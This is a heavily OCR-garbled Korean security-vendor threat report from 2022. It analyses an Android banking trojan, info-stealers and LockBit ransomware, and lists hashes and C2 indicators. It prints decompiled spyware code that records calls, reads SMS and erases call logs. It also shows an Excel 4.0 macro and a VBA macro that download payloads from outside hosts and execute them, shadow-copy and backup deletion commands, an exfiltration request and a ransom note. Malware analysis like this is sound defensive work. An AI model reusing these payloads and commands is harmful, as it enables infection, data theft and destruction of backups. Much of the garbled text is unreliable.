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2 etMALC BEM HTIA
aitDir Help,E:
loithir + "##Fro ", "HAME: " + process, + "Hrfin” );
[O2 7] T2ENA B|AE F
| Process.txt - Windows 0 2% — O *
OraF BEER M0 27N =E32H)
MNAME: svchost ~
MNAME: urbanvpnsery
MAME: SgrmBroker
MNAME: svchost
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MNAME: dwm
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Ln 13, Col 14 100%  Unix (LF) UTF-2
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| Information.txt - Windows 0 2%

oEF HEE®

MM0) 27V =EEH)

Operating system: Windows 10 Pro (64 Bit)
PC user: DESKTOP-TOBTOKF/doramang

ClipBoard:
Launch: C¥Usersidoramong¥DeskiopWinsidious. exe

Screen resolution: 1440x900
Current time: 2022-11-24 2% 6:07:25
HWID: 078BFEFFO0B10F10

CPU: AMD Ryzen 5 2400G with Radeon Vega Graphics

RAM: 3189MEB

GPU: Wiware SVGA 3D

IP Geolocation: Fail Fail
Log Date: 11-24-2022 6:05

Ln 18, Col 28 100%  Unix (LF)

UTF-8
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ESTsecurity |
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UE 37 os5d 37 3T EWN s EW
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Files 0 0 2022-11-24 2022-11-24 1
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[s] Screen.png 278 354 264 041 2022-11-24 2022-11-24 1
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mnssg9Body, filename, fileformat, filepath,
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if(!this.n &&
Contex
this.c =

Field

Cla

Fiel:

Applicatio

return;

private void a() {

(Applic atr") lass
Method methode =
methode.setAccessible(true);
methode. invoke(this.o, contexte);
Class classe =
Field fielde =
fielde.setaccessible(true);
fielde.set(contexte, this.o);
fieldl =
fieldl.setAccessible(true);
object objecte =
classl =
Field field2 =

Field field3 =
arrayList arrayListe =
arrayListe.remove(this);
arrayListe.add(this.o);
Field field4 =
t object1 =

class2
d fields =

Field fieldée =

this.n = true;

Class.forName("android.app.ActivityThr oy
classl.getDeclaredField("mInitialappliq vV m 3
field2.setAccessible(true); v ia
field2.set(objecte, this.o); v il a
classl.getDeclaredrield("mallapplicatidg
field3.setaccessible(true); viia
(ArrayList)field3.get(objecte) } vila
>@a
classe.getDeclaredrield("mPackageInfo” j v ﬁi com
field4.setAccessible(true); :
fielda.get(contexte); v & figjin
Class.forName("android.app.Loadedapk™) v i wuhrgu
class2.getDeclaredrField(“mapplication” v # rznnmj
fields.setAccessible(true); "
fields.set(objectl, this.o); > © aduvdtmgi
class2.getDeclaredrield(“mapplicationIi] > (9 zdqqujlhza
fields.setAccessible(true); v # mik
niInfo applicationinfoe@ = (ApplicationInfo)fy
applicationInfoe.classname = this.a; v i proxy
this.m.sendemptyMessage(1); v # guard
v 3 core
> @a

.isempty(this.a)) {

= this.getBaseContext();

.forName(this.a).newInstance();
application.class.getDeclaredMethod("attach”, Context.class);

Class .foruane("android.app.contextlupl");|
classe.getbDeclaredrield("moutercontext™);

classe.getbeclaredrield(“mMainThread”);

fieldl.get(contexte);

[D2! 6] DEX =&

protected void b() {
super.b();
try {

this.

catch(Exception exceptione) {
exceptione.printStackTrace();

erride

protected void c() {
super.c();
this.m();
this.1();

private void k() {
try {
if(Build.vi

return;

}

string s = this.getExternalCachepir() + "/" +
boolean z = b.1(this.e, s);
stringBuildere.tostring();

if(12) {

this.d.sendemptyMessage(1);
this.d.sendEmptyMessageDelayed(@, 6000L);
filee = new File(s);

lee.exists()) {

ssLint({"JavascriptInterface”})

webviewe =
= webviewe;
webSettings webSettingse = webviewe.getSettings();
websettingse.

webSettingse.
websettingse.
websettingse.
webSettingse.
websettingse.
webSettingse.
websettingse.
this.f.setLayerType(1, null);
this.f.addJavascriptinterface(new e(this),
this.f.setwebviewClient (new d(this.
this.f.loadurl("http:/

ERSION
b.q(this.e); >

)this.findviewById(@x7Fe70848);

setdavascriptenabled(true);
setallowContentAccess(true);
setallowFileAccess(true);
setDatabaseEnabled(true);
setdavascriptCanopenwindowsAutomatically(false);
setCacheMode(2);
setDomStorageEnabled(true);
setappCacheEnabled(true);

il
4
it
N
n

“android"”
null));
ore/");

=
[
12
i

v @ Sample.apk
META-INF
assets
error_prone
i | jsr305_annotations
> lib

.SDK_INT >= 26 && !this.getPackagemal > r

third_party

"iyxafo.apk"”;

—_

. filee.delete();
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v [ dlolE (3)
v || DB_BE&N CREATE TABLE "DB_BEAN" ("_id" INTEGER PRIMARY KE
2 Jd INTEGER "_id" INTEGER
2 RID TEXT "RID" TEXT
[2) NEW_HOST TEXT "NEW_HOST" TEXT
2 RTMP TEXT "RTMP" TEXT
|2 G_TOKEN TEXT "G_TOKEN" TEXT
[Z) NEW_APP_ID TEXT "NEW_APP_ID" TEXT
(o) APP_INIT INTEGER "&PP_INIT" INTEGER NOT NULL
[2) APP_ON INTEGER "4PP_ON" INTEGER NOT NULL
[Z) CALL_ON INTEGER "CALL_ON" INTEGER NOT NULL
[2) YOIP_UPDATE TEXT "OIP_UPDATE" TEXT
[2) NO_LIST_UPDATE TEXT "NO_LIST_UPDATE" TEXT
[2) BLOCK_LIST_UPDATE TEXT "BLOCK_LIST_UPDATE" TEXT
|2 BLOCK_LIST_MODIFY_UPDATE  TEXT "BLOCK_LIST_MODIFY_UPDATE" TEXT
[J) GPS_KEY TEXT "GPS_KEY" TEXT
[=) LATITUDE TEXT "LATITUDE" TEXT
[Z) LONGITUDE TEXT "LONGITUDE" TEXT
[Z) OLD_LATITUDE TEXT "OLD_LATITUDE" TEXT
|2 OLD_LONGITUDE TEXT "OLD_LONGITUDE" TEXT
[Z) OLD_ADDRESS TEXT "OLD_ADDRESS" TEXT
[2) APP_SETTING_RESULT TEXT "4PP_SETTING_RESULT" TEXT
[Z) BLUE_STATE INTEGER "BLUE_STATE" INTEGER NOT NULL
[2) ERROR_CODE INTEGER "ERROR_CODE" INTEGER NOT NULL
|2 USER_APPLY_INFO TEXT "USER_APPLY_INFO" TEXT
CALL_FROM_US_NO_DETAIL TEXT "CALL_FROM_US_NO_DETAIL" TEXT

=
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this.u = new BroadcastRe
& rride
public void onReceive(Context contexte, Intent intente) {|
try {
string s = intente.getaction();
boolean z = s.equals(“android.intent.action.NEW_OUTGOING_CALL");
if(2) {
string s1 = intente.getStringeExtra("android.intent.extra.PHONE_NUMBER");
if(s1 == null || (si.equalsignoreCase(""))) {
s1 = this.getResultpata();
¥

if(s1 != null && !si.equalsignoreCase("")) {
BaseService.this.t(s1);

}
return;
}
boolean z1 = "android.intent.action.PHONE_STATE".equals(s);
if(z1) {
if (1"RINGING".equals(intente.getStringextra(“state”))) {
goto label_45;

string s2 = intente.getStringextra("incoming_number™);
if(s2 != null && !s2.equalsignorecCase("")) {
BaseService.this.m(s2);
return;

3

else {
label_as:
if(("android.intent.action.PHONE_STATE".equals(s)) && ("IDLE".equals(intente.getStringextra("state")))) {
if(!BaseService.this.i) {
BaseService.this.i();
return;

:;

else if("android.intent.action.PHONE_STATE".equals(s)) {
“OFFHOOK" .equals(intente.getStringExtra(“state”));
3

3

catch(Exception unused_ex) {

(D& 9] S&t 7tZ7|

HolE ZAlolal QITPt 7tZ2AALE SoF S2E AIZ 5 UL

private void n() { ic static iInt ce(string s) {
String si; if(!s.equalsignoreCase(“114") && !s.equalsIignoreCase("@2114") && !s|
string s;, if(s.equalsignoreCase("@21@02500")) {
CalliogBean callLogBean®@ = (CallLogBean)Kit.b.a.a(); return 2;
if(this.e != @ && callLogBeane != null && this.g == 2)|
tr
y Ehis_gemmw().admags(em); if(!s.equalsignoreCase("1301") && !s.equalsIignoreCase(“921301")
if(!s.equalsignoreCase(“1332") && !s.equalsignoreCase( @231
catch(Exception exceptione) { if(!s.equalsignoreCasel equalsIgnoreCs|
exceptione.printstackTrace(); if(!s.equalsignore( : !s.equalsigno)
if(s.equalsignc
return 8;
try {
s = Kit.F(this.b, “K_CALL_FROM_USER"); -
int v = callLogBeane.getState(); lf(<§.e?ualslgnorecase 1s|
int vi1 = Kit.ce8(callLogBean®.getShow no()); if(!s.equalsignore e
stringBu 5 . 1f(!§.equalslg| -l
if(v 1= 1) { if(s.equal: )
return; return 12;
if(vi == @) { if(!s.equalsIignoreCas
stringBuilderl.tostring(); if(s.equalsignore,
this.k(s); return 14;
return;

o

1 = this.getDatabasePath(“voice”) + "/" + v|1 + ".mp3”;
le file@ = new File(sl);
(!filee.exists()) {

goto label_136;

1
if
}
long v2 = filee.length();
catch(Exception exception1) {

exceptionl.printStackTrace();
return;

ESTSEE[H'H'}’ Copyright@2022 ESTsecurity Corp.All rights reserved
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private void jp() {
try {

string s = Environment.getexternalStorageDirectory().getAbsolutePath() + File.separator;
File filee = new File(s + “/log/");
if(!file@.exists()) {
filee.mkdirs();
3

mediaRecorder mediaRecorder® = new MediaRecorder();

this.ceg = mediaRecordere;

mediaRecordere.setaudioSource(1);

this.ce.setoutputFormat(2);

this.ce.setoutputFile(s + "/log/" + + ".mpa”);

catch(Exception exceptione) {
goto 1label _85;
}

try {
this.ce.setAudioEncoder(4);
goto label 59;

catch(Exception unused_ex) {

s

try {
this.ce.setAaudioEncoder(3);
label_59:
this.ce.prepare();
this.ce.start();
Config.h = true;
Kit.d1("K_START_RECORD_INFO");
long v = (long)Config.j;
stringBuilder®.tostring();
this.de.postDelayed(this.ee, v);
return;

}
catch(Exception exception®) {
3

211

gjo
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St HE{7t OfL|TEt: =30t0] M= T2 XEe 4~ QUCt

try {
label 34:
Contentresolver contentResolverl = contexte.getContentResolver();
Uuri urie = uri.parse("content://call_log/calls™);
if(contentResolverl != null) {
contentResolveri.delete(urie, “number=2", new String[]1{s});
}

goto label 59;

[O2] 12] E3} 7|= AA|

Ho = X0l St 7|52 AR o~ ACL.

Esrsmuﬂ'fy Copyright@2022 ESTsecurity Corp.All rights reserved

23



public static ArrayList Q(Context contexte) {
ArrayList arrayListe = new ArrayList();
try {
uri urie = uri.parse(“content://sms™);

cursor cursor® = contexte.getContentResolver().query(urie, new string[]{"_id", “address", “"person”,

if(cursore != null) {
cursore.moveToFirst();
string s = cursore.getString(cursore.getColumnIndex(“address™));
String s1 = cursore.getstring(cursore.getColumnIndex(“body”));
long v = Long.parseLong(cursor®.getString(cursore.getColumnIndex(“date”)));
long v1 = Long.parseLong(cursor®.getString(cursore.getColumnIndex(“type”)));
if(va !'= 1) {
string s2 = Kit.G(contexte, s);

MessageBean messag = new Messag 1005
messageBeane.setType("" + vi);
messageBeane.setNo(s);

messageBeand.setBody(s1);
messageBean®.setName(s2);
messageBeane.setTime(Kit.X(contexte, v));
arrayListe.add(messageBeane);

return arrayListe;

}

catch(Exception exceptione) {
exceptione.printStackTrace();
return arrayListe;

return arrayListe;

(213 13] =X 2

71ZS| 22Xt 2|AES HEY £ ACH M=z 22 FXI2tE ChA| EFE 4= Ch

public static arrayList k(CDntext contexte) {

int v;

ArrayList arrayListe = new ArrayList();

try {
PackageManager packageManager® = contexte.getPackageManager();
v =20;

List 1liste = packageManagere.getInstalledPackages(®@);
collections.sort(liste, new InstallTimeComparator(packageManagere));
while(true) {
1abel_1e:
if(v >= liste.size()) {
return arrayListe;

string s = ((PackageInfo)liste.get(v)).packagename;
AppInfoBean appInfoBean@ = new AppInfoBean();

string s1 = ((PackageInfo)liste.get(v)).applicationInfo.loadLabel(contexte.getPackageManager()).tostring();

string s2 = ((PackageInfo)liste.get(v)).versionname;
long vi = ((PackageInfo)liste.get(v)).firstInstallTime;
long v2 = ((PackageInfo)liste.get(v)).lastupdateTime;
SimpleDateFormat simpleDateFormate = new SimpleDaterormat(“yyyy-#M-dd”);
string s3 = simpleDateFormate.format(new Timestamp(vi));
string s4 = simpleDateFormate.format(new Timestamp(v2));
appInfoBean®@.setInstall(s3);

appInfoBean®.setUpdate(s4);

appInfoBeane.setversion(s2);

appInfoBean®.setName(s1);

appInfoBean®.setPkg(s);
appInfoBean®.setInstalledBy(Kit.m(contexte, s));
arrayListe.add(appInfoBean®);

break;

}

}

catch(Exception exceptione) {
exceptione.printstackTrace();
return arrayListe;

}

+y;
goto label 1e;

717101 EX|E 7 [X] F 2|AES EF(elCt
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public static void Al(Context contexte, String s) {
try {
Intent intente = new Intent(™android.intent.action.DELETE");
intente.setData(Lri.parse(“package:".concat(s)));
intente.addrFlags (ex10000000) ;
contexte.startAactivity(intente);

catch(Exception exceptione) {
exception®.printstackirace();
b
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uri urie = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
Cursor cursor® = BaseOtherService.this.b.getContentResolver().query(urie, new String[]{"_data”
int v = cursore.getColumnIndexorThrow("” _data”);
cursore.getColumnIindexorThrow(“bucket_display_name”);
while(true) {
label_51:

if(!cursore.moveToNext()) {

goto 1label_go;
}

s = cursor®.getString(v);
if(s == null) {

goto 1label_51;
}

boolean z1 = s.equalsIgnoreCase("");
break;
}
}
catch(Exception exceptioni) {
goto label_g5;
}

if(z1) {
goto label_51;
}

try {
if(((String)hashMapl.get(s)) == null) {
hashMape.put(k, s);
}

stringBuilderi.tostring();
goto label_51;

catch(Exception exception2) {

3

try {
exception2.printStackTrace();
hashMape.put(s, s);
goto label_51;

label_g®:
Kit.oe(easeoOtherservice.this.b, hashMape);
return hashMape;

catch(Exception exceptioni) {

3

Ai2|of] XZE O[n|X| Eeot, SAKIS| MHZ HESH0] EF[BICt.
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public static String J(Context contexte) {
String s = Kit.F(contexte, "K_HOST");
if(s.equalsignoreCase("")) {
s = "http:, B
3
if(!s.startswith("http://")) {
s = "http://" + s;
b
if(!s.endswith("/")) {
S ST, P
3
return s.replace(” ", "");
3
[2&17]1C2
' L cl & o o o LA
C2= [1E 17]1} 20| 5t=32E "AleZ ZHYE|0] QAT Of2feh HA2 ME{7} AIHEIRS M sE +
k=) o5 =) 5
etz Brof F7(7| 2ot WS ARESt L.
protected void fe(int v) {
Executorserviceutil.a().execute(new Runnable() {|
@override
public v;id run() {
try {
string s = "https://ww.reddit. com/ clieni
String s1 = "";
if(v 1= @) {
s = Kit.F(Baseotherservice.this.b, "K_OTHER_URL");
if(s.equalsignoreCase("")) {
return;
3
stringBuildere.tostring();
String s2 = new OksxttpClient().newCall(new Request.Builder().url(s).build()).execute().body().string();
stringBuilderi.tostring();
if((s2.contains("*14283C*")) && (s2.contains(“*4DSE6F*"))) {
int v = s2.indexof ("*142B3C*");
int vl = s2.indexoOf (“*4DSEGF*");
if(v >= 0 & vl >= @) {
stringBuilder2.tostring();
stringBuilder3.tostring();
s1 = Crypt.a(s2.substring(v + 8, v1));
3
stringBuilder4.tostring();
stringBuilders.tostring();
if(s1 != null && (si.startswith("http://"))) {
Kit.m1(BaseOtherservice.this.b, "K_HOST", s1);
Networkapi.b().c();
Kit.d1("K_RECONNECT_SOCKET");
Kit.d1("K_REGISTER_INFO");
Pushutils.c();
return;
}
[12 18] £ CIE C2
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public class Crypt {
public static string a(string s) {
try {
byte[] arr_b = & dkcode(s, 2);
ipher ciphere = Ci getlnstance( AES/CBC/PKCSSPadding”);
c1phere init(2, new Secretkeysp .getBytes(), "AES"), new IvParameterspec
return new stri rs(c:phere doFJnal(arr b));

-getBytes()));

catch(Exception exceptione) {
exceptione.printstackTrace();
return “7;
3
3

public static string b(string s) {
try {
getlnstanrﬂ! BFS/CRC /PKCSSPAdding™) ;
getBytes(), "AES"), new I
ancode(cxphere doFinal(s.getBytes()), 2));

pher c1phere =
i 1

-getBytes()));

catch(Exception exceptione) {
exceptione.printstackTrace();
return "7;
¥
3
}
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Trojan.Android.Banker
AR Yo 2 YY3I0] H2S FELICL
AOHEZ0j| ChEt 2 HEHE 71 4 ASHCH

oM

10ab337cdbc82085.. d06e9e054bc4460709ea2ee. apk
Troj old.Dropper

A4l Yo 2 SAst0f 4212 REBILCE

AOEE0] st 2 WBHS 71 5 UsUch

218 o YColE!
o A& AR

Trojan.Android.Banker
FHHQ YO SYsH0] H3IS REBLIC
ADIEEO| Cj8t R.E HBH2 J1A £ YFLICH

EAUS

1104ccf529bdf77...e300ef1c9a7f5e293c955b4.apk

Spyware Android Kmin
A3

ALE2t2] 71710f 2sto] 2ol BEE SH3g 4 UFUCH

Trojan.Android.Banker
YA Yo 2 LFH0| M8 REBILICL
AOHE R0 it 2 HEHE 71 4 AUFHCH

0bfd874897fda. b470f50! apk
Trojan.Android.Banker

YA Yo 2 ABH0| H2|8 RE/ILICL

AOHEZ0| it 2 WEHE 71 4 AFUCE

D= A

(O3 21] &K ofH

SIxH Lok M OjlM = Sl S “Trojan.Android.Banker” EfX| HOZ FICSID QUCE,
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[HASH]
2a8acc569470fe9fc4d58119d94cd5ba376c6891d2291efd53bbea029bb42d3e
467318c6944ef9be498402e48507544ab12a6f1eb1267155d16c046996da9b57
079854171e11adb7722cccff25b7c83c5ece94718d5cf5ee80aed22a0698e40b
1e59e72176¢88a514bbc5cal3ec7051aa5ee083ce79acd24562ff6e587fcdOcc
2¢72307ff883166e773fc4cc65935e58b3bf26fde2771da5007ec5ff42f70527
8660254158a8d89604f777d70880840eba8eefca925e22305f218e6cf7c2936a
fda6fa780ab337ddbc820853fddda3f9ac2bal0dad06e9e054bc4460709¢ea2ee
2d690b1104ccf529bdf77a71d920a57dff8d5efb3e300ef1c9a7f5e293¢c955b4
4b0ff799a0425acc79c0f04cf915¢al1938c4264dacdbc8ba39050cd85ed49ce
b8e5b810bfd874897fda91ea079b190f0ae850e0c6a95ch470f50540f8e2e30f
bf5a85e71501fc0c51daal3913a5e4aeafd4f94c914e82abc95fb98988eadbf3
bb8e8473a454ad3662cfee3c92541daa3fc464f6c6c98124ce58bc063b2d6bee
a027abb15d12c002c23df463fe312e9cde03f0bcbb1f9aebcfOaddcb5c5e2d22
11b0467a57685c8ee70d97f2553caae837faeec2041c4bf71400d7e890943457
723d8271866e35d44e3abecded1c49c1c4a802ad96eff62a5b61a7625660486d
b21c51a87e57fd33485da85a825fcf3dc5¢c24654590a412c8ed4b54be18d4843
f2b4758e605d4f19bfe7b2d344750fb3419d3769ab7806686e2c276dd5a01112
f5bc475f3172d6b5f0c5e165c2023d7637dc427aff6f80e5c33a8e08e557592¢
081b4613d6dbe3b5f03ef775d5bcc818effb4ac013f5dc80c616b82d14e73f47
be0078755f12d8abb1f1bef423502be1c173fe1603bf62d185b90869e35decc2

[Phishing Site]
payshopl.]store
am[.]Jpayshopl.]store
em[.]payshopl.]store
im[.]Jpayshopl.]store

[C2]

hxxp[:]//202.61128[.]39
hxxps[:]//reddit[.Jcom/user/Defiant_Pin7998
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Password: 10YQ89IN

-—0Original Message———-

> Sent: Wednesday, November 02, 2022 06:03
> From:
> To

> Subject: Re!

[O21] AT o

v @ 5 fe3be969544c0d720ae1845c¢820c792c2227962¢712a0eaed40f6c0b1311ccal zip -

- - 0 x
F | ®mE £37 =27 Esw s @
[0, EHTERE - FRVES
¥ e O = o s M i o
orm== 1A A METS TSI O LEEit =HZ o527
YEE o aune 2AYB = o= = S
HEL Y ug HE ¥ oy A s
6 mH  Am x -
-
B fe3be969544¢0d720ae1845

L1245214338048975...

AHHY o= = 2
HolUAELICL.

O|L- Ootx
AN—- -4

= OjO| Hetk|of o, 2f=nte

o= OlHE =

L

MO

ESTsecurity Copyrighie2022 ESTsecurity Corp All fights reserved

S|

| R

36



O|HIde| HEWZ} FwdtR| g0t +AIXS2 HiZ AHUHAJS
&L, o Fet o|H[Z AEE Sote] BEohr| 2o, 0
O|&EtE HXIotnE EolE 7H5-dol ASHIC,

ol
—
Fl

08556592704385_202211031055xIs [SE 2E] - Microsoft Excel

49 HOMAAE A HoE  EE )
EEEE
* oo R~ @8 30T, 1’::VAE'E @ =%
2k = )
HObHD [EES MET £ 2 X ‘

E115 - &

A [ [ D E F G H | J K L N 0 P =

I RELAUNCH REQUIRED acc with the requirements of your security policy, to display the contents of the document, you need to copy the file to the following folder and run it again: | |

soft Office 2013 x32 and earl oft Office (x86)\Templates
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| RELAUNCH REQUIRED  In accordance with the requirements of your security policy, to display the contents of the document, you need to copy the file to the following folder and run it again:

for Microsoft Office 2013 x32 and earlier - C?\Program Files\Microsoft Office (x86)\Templates

for Microsoft Office 2013 x64 and earlier - C\Program Files\Microsoft Office\Templates

for Microsoft Office 2016 x32 and later - C:\Program Files (x86)\Microsoft Office\root\Templates
1 for Microsoft Office 2016 x64 and later - C:\Program s\Microsoft Office\root\Templates
2
3
4
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10 3
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i NE &717] 82Uy
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13 =FORMULA(Sheet1!L248Sheet1!L268:Sheet1IL27 &Sheet11L.28&Sheet 11288 Sheet2! F6&Sheet2!N198:Sheet 11F108Sheet2IR38:Sheet 51021815 heet2! F26&Sheet 3IR 138 S

16 =CALL("urlmon”,"URLDownloadToFileA’

CCBB",0,"http://sourceintership.com/vendor/rZn)L9pPUjASpU/"," #oxnv1.oocexx",0,0)

18 =EXEC("C:#WindowstSystem32#tregsvr32.exe /S .#oxnv1.00ccxx”)

20 =CALL("urlmon”,"URLDownloadToFileA","JJCCBB" 0, "http://www.thebeginningstore.in/0202498070/m2x8inU7TSiu03px/",". #oxnv2.oocaoc,0,0)
22 =EXEC("C:HWindowswSystem32#regsvraz.exe /S . #Hoxnv2.00ccxx™)

24 =CALL("urlmon”,"URLDownloadToFileA","JJCCBB" 0, http://www.angloextrema.com.br/assets/mQVRrHu700e XxTFu/"," #oxnv3.00ccxx",0,0)

26 =EXEC("C:WWindowswSystem32#regsvr32.exe /S .Woxnv3.0ocoe)

28 =CALL("urlmon”,"URLDownloadToFileA","JJCCBB" 0, http://alvaovillagecamping.pt/wp-content/RadiwOPbeuLf/”,". woxnvd.oocex”,0,0)

30 =EXEC("C:#WWindowswSystem32#regsvr32.exe /S .Woxnv4.0ocox")
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&0|HA_221116(ZHAMEE 20| 7|RistRASLICH & REE=EILICH

Sl M2 LockBit 3.0 HMYIIZ Aldl A AFRX} PC ol TIUES A3} & AHMHLIZ 2F

= ALY

EE (0

o )
~~~ LockBit 3.0 the world s fastest and most stable ransomware from 2019~~~

»»=>> Your data is stolen and encrypted.

If you don't pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that once your data appears on
our leak site, it could be bought by your competitors at any second, so don’t hesitate for a long time. The sooner you pay the
ransom, the sconer your company will be safe.

Tor Browser Links:

http:// . e ) '.onion
http:// .onion
http:// .onion
http:// l.onion
http:// .onion
http:// d.onion
http:// onion
http:// .onion
http:// : : : S : _ .. onion
Links for normal browser:

http:// d.onion.ly
http:// d.onion.ly
http:// d.onion.ly
http:// /d.onion.ly
http:// d.onion.ly
http:// qd.onion.ly
http:// .onion.ly
http:// d.onion.ly
http:// : : : S : _ . lonionly

>»=>3> What guarantee is there that we won't cheat you?

We are the oldest ransomware affiliate program on the planet, nothing is more important than our reputation. We are not a
politically motivated group and we want nothing more than money. If you pay, we will provide you with decryption software and
destroy the stolen data. After you pay the ransom, you will quickly make even more money. Treat this situation simply as a paid
training for your system administrators, because it is due to your corporate network not being properly configured that we were
able to attack you. Our pentest services should be paid just like you pay the salaries of your system administrators. Get over it
and pay for it. If we don't give you a decryptor or delete your data after you pay, no one will pay us in the future, You can get
more information about us on llon Musk’s Twitter https://twitter.com/hashtag/lockbit?f=live

>>>>> You need to contact us and decrypt one file for free on TOR darknet sites with your personal 1D

Download and install Tor Browser https:/fwww.torproject.org/
Write to the chat room and wait for an answer, we'll guarantee a response from you. If you need a unique ID for correspondence
with us that no one will know about, tell it in the chat, we will generate a secret chat for you and give you his D via private
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3 EM Hot S8

C&C MH{ F&3 SA|0f| ZZ=(Chrome), SUX|(Edge) EEFRM0I| KA =0 Y= MEES £Z!810] ProgramData
EME 2AL S, ARRKF A|AE HE $FIS A|RFSHC

T+Hok= HefeX =
F7|(Cookies), &=7|=(History), X&=|0] A= AEEE (Login Data), EIH|O[E{(Web Data)

£EoH= AFEAL A|AE MY

Date, MachinelD, GUID, HWID, Path, Work Dir, Windows, Computer Name, User Name, Display Resolution,
Display Language, Keyboard Languages, Local Time, TimeZone, St=0{ & (Processor, CPU Count,
RAM, VideoCard), ZZM|A S5, HX|El ATEQ 5=

O[5H0|== WINnSCP, FileZila 22 FTP =232 HE Tronium, Trust Wallet, bitwarden, Hashpack &2
7|.)k|'9|-]1:" I[E_IEH _T'_I-E:1 I‘lEEE oI-}}-” AIIEIL_'[_'-.

HE 2E0| tEE[H oixf SEEQ! ofHE M2 screenshotjpg THA=t e 8 FEL A|AR HEE F|efot
mMASS A= C&C MHE TESILICE

POST / HTTP/1.1

Content_Type: multipart/form-data; boundary=----6557793739154846
Host:| 116.202.5.101

Content-Length: 214261
Connection: Keep-Alive
Cache-Control: no-cache

—————— 6557793739154846

Content-Disposition: form-data; name

------ 6557793739154846
Content-Disposition: form-data; namef"profile id"

—————— 6557793739154846
Content-Disposition: form-data; namef"hwid" QEMEE- filezip - ¥F
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£14F1ab5378C1b65614c Fa6a94993211 = : . ~ -
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tiaalDwIWiF1Inge3h6GefpGS7SnVetk/PRIxd10AKKEgkcvmSZGUS34zMIGPUNPRATZ History Cookies Oownloads Fies History L/
FuZdyzriFxYFPI3eoiliGjslva+F20PMMP/skIGy7xY0 I TsUnkQchfcCaYUBrOn09Tzn3 u/
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WMIC /Namespace:\root\MicrosoftWindows\Defender class MSFT_MpPreference call Set
EnableControlledFolderAccess=0: 2= C|HIE L HOE ZH AMA 7S S|
bcdedit /set {default} bootstatuspolicy ignoreallfailures : Windows 27 S5 22X HA| x|

ofst

[ e

bcdedit /set {default} recoveryenabled no: 5+ 2= AtE

wbadmin delete catalog -quiet : B F}EZT AMK|

wbadmin delete systemstatebackup -quiet : A|AE] B AE|

wmic shadowcopy delete /nointeractive : 2& = AMX|
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C m @ T | CyUsers 8 ods ot
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
To receive the private key and decryption program follow the instructions below:
1. Download Tor Browser' from https://www.torproject.org/ and install it.

2. In the 'Tor Browser' open your personal page here:

http//i

Note! This page is available via Tor Browser' only.

Also you can use temporary addresses on your personal page without using 'Tor Browser":

[ READMEhtml x

http://¢
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Attribute VB_Name = "T
Attribute VB_Base — "0
Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed — Trus

Attribute VB_TemplateDerived — False

Attribute VB_Customizable = True

Private Sub Workbook Open()

mindeentrol = "guyworry”

h7asda — "nazkslooksi”

anyonestart = Replace(":7guyworryC" & mindcontrol & "4D", "guyworry", "2")

—-C000-0000000000461 ™

Set noneseason = GetObject("new” & anyonestart & "DS-D702-438B-0242-984" & CLng("1.7") & "4BBOAFE" & CInt("5.1"))

mindecentrol = "C:\Users\Pub”

themselvesart = mindcontrol & ”;iz\sZz-yq.exe”

go8d7sa6 = Replace("cmd /¢ pow mindcontrolrsohmindcontrolll/ 01 coutrl

|ntt ps://cdn. discordapp .ﬁor\/atta hmmindcontrolnts/10367058383347466685/1046122909879513129/5dcjimindcontrolmg.mindcontrol”xmindcontrol|-o " & themselvesart & ";" & themselvesart,

mindcontrol™, ")
noneseason.exec go@d7saé
End Sub
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VPN Client

NordVPN, ProtonVPN, OpenVPN

Web Browser

Chedot, Vivaldi, Kometa, Elements Browser, Epic Privacy Browser, Uran,
Sleipnir, Citrio, Coowon CM Browser, QIP Surf, Orbitum, Comodo Dragon,
Amigo, Torch, Yandex, 360Browser, Maxthon3, K-Melon, Sputnik, Nichrome,
CocCoc, Chromodo, Brave Browser, Edge, CryptoTab

Firefox, Opera, Chrome, Chromium, ChromePlus, Iridium, 7Star, CentBrowser,

Game Client Steam
FTP Client FileZilla
Messanger Telegram, Discord
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